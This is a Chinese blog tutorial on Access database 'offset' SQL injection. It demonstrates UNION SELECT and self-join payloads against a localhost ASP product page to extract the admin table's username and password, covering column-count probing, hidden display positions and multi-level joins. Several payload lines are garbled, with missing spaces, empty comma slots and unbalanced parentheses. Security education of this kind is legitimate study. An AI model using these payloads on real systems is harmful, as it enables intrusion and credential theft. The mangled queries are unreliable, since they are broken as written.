前言
最近在看access注入,本来想找个目标来试试,但是项目刚结束手上暂时也没有相关的站,而且网上找了半天没有找到相关的靶场,网上的相关资料也不多,所以就暂时借用其他大佬的一些图片来介绍access的偏移注入吧,使用的图片并非是我本人截图的,但是所有的思路以及渗透测试的流程是笔者自己对于Access数据库偏移注入的理解,此处只是做一个说明哈!
偏移注入
原理:
借用数据库的自连接查询(inner join)让数据库内部发生乱序,从而偏移出所需要的字段在我们的页面上显示。
用处:
access偏移注入是解决一些注入不出来列表的时候,同时要求支持union select,列名足够多,需要知道表名。
特点:
1、能不能成功看运气(表名能不能猜也是看运气。。)
2、无需管理员账号密码字段,直接爆账号密码。
利用条件:
1、知道表名
2、任意字段(一般access会有一个id字段。)
影响偏移注入成功率的因素
1:管理表的字段数越少越好(最好是三个:id 账号字段 密码字段)
2:当前注入点的脚本内查询的表内的字段数越多越好(最好有几十个,这样基本成功率是100%)
3:已知的字段数越多越好(id一般存在)
偏移注入的流程:
1、 判断字段数
2、 判断表名
3、 开始偏移注入
偏移注入的实例演示
注入点:
http://127.0.0.1/asp/Production/PRODUCT_DETAIL.asp?id=1137
注入点信息:
字段数:22
管理表名:admin
先直接联合查询爆显位
3和15是显示位,但是跑不出字段,下面就可以开始偏移注入了。
流程如下
先判断管理表内存在的字段数,用到如下语句:
union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from admin
我们利用*代替admin表内存在的字段,由于是22个字段数,需要逐步测试,直到返回正常为止。
目前语句访问结果如图所示
下面继续
union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,,* from admin union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,,* from admin
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,from admin
union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,, from admin
union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,,* from admin
这样的话,应该很好理解了。我这里到了16的时候返回正常,如下所示:
如上图可知,字段数列到16的时候,返回正常了,那么本来是22个字段。
号=字段数(这里是22)-列出的字段数(这里是16)
所以=22-16
也就是说,admin表下有6个字段。
【开始偏移注入】
语句如下;
union select 1,2,3,4,5,6,7,8,9,10,* from (adminas a inner join admin as b ona.id=b.id)
解释:
union //联合查询语法,定义连后面的语句一起执行
select //查询
1,2,3,4,5,6,7,8,9,10, //这里理解为剩下的字段数就可以
from //从哪里开始
(admin as a inner join admin as b on a.id=b.id)
//这里是admin表自连接,admin为表名(前面得到的表名) id为字段(可修改,但必须存在)
【偏移注入的基本公式】
字段数=order by 出的字段数-*号的字段数x2
因为这里一共是22个字段,而*号代表的admin表字段占6个,6x2=12 22-12=10
这就是为什么字段数是10的原因。访问一下如图所示:
这里爆出了admin表管理员创建日期,没有我们要的账号密码怎么办?
没关系,这里就要说到隐性显位了,主页面只有两个显位3和15 那我们我们可以在页面源代码看一下。如图5↓
可以看到 1.还有两个隐性显位,第一个是 9,第二个已经爆出了管理员密码 2.下面的红框和页面信息一致,只是它有回显。
这时候已经得到了密码。还差账号了。偏移中办法很多。 思路:我们只需要把它打乱就可以,这样信息重组,很有可能会把管理员账号给爆出来。 在字段后面插个a.id,b.id,,这里的a和b可以理解为字段(第a b个管理表存在的所有字段),id还是管理表内存在的字段名
那么语句如下;
union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin asa inner join admin as b on a.id=b.id) 其实就在上面的语句基础上插了个a.id,b.id,
其实也可以这样来处理 union select 1,2,3,4,5,6,7,8,9,10,a.id,* from(admin as a inner join admin as b on a.id=b.id) 只保留a.id, 也实现了打乱信息组合,并且执行效果一样 下面访问一下看看结果:
成功打乱他的组合,同一个显位返回不同的信息了,254是admin表内某个字段的内容。
我们看看网页源代码里的隐性显位爆出了什么,如下所示:
这样就爆出了管理员账号。 经过两次的偏移,成功得到账号和密码。
在字段多的情况下,多级偏移会有意想不到的效果。 刚才只到了一级,第二级的话就是字段数再去掉admin表存在的字段数。
一级偏移语句 union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,*from (admin as a inner join adminas b on a.id=b.id)
二级偏移语句 union select 1,2,3,4,a.id,b.id,c.id,* from((admin as a inner join admin as bon a.id=b.id)
inner join admin as c on a.id=c.id)
我把字段去掉了6个,增加了一个c.id 用来代替字段并且重新打乱组合。
重新访问一下看看如图
可以看到,页面返回和前面没有任何变化。所以主要还是看隐性显位,如图
在隐性显位一次爆出了管理账号和密码。
【拓展】
x.id //id可以修改为任意表内存在的字段名,而且会打乱重新回显
所以说管理表内存在的字段数越少越好、当前注入点脚本内查询的表内字段数越多越好、得到的字段数越多越好
偏移注入可以很大程度上解决猜不到字段的问题。
参考:
https://blog.csdn.net/bylfsj/article/details/101390839
https://wenku.baidu.com/view/5a2969a65b0102020740be1e650e52ea5418ce3e.html
https://www.jianshu.com/p/be76092789ad
https://blog.csdn.net/u014029795/article/details/91150847
https://www.cnblogs.com/xishaonian/p/6054320.html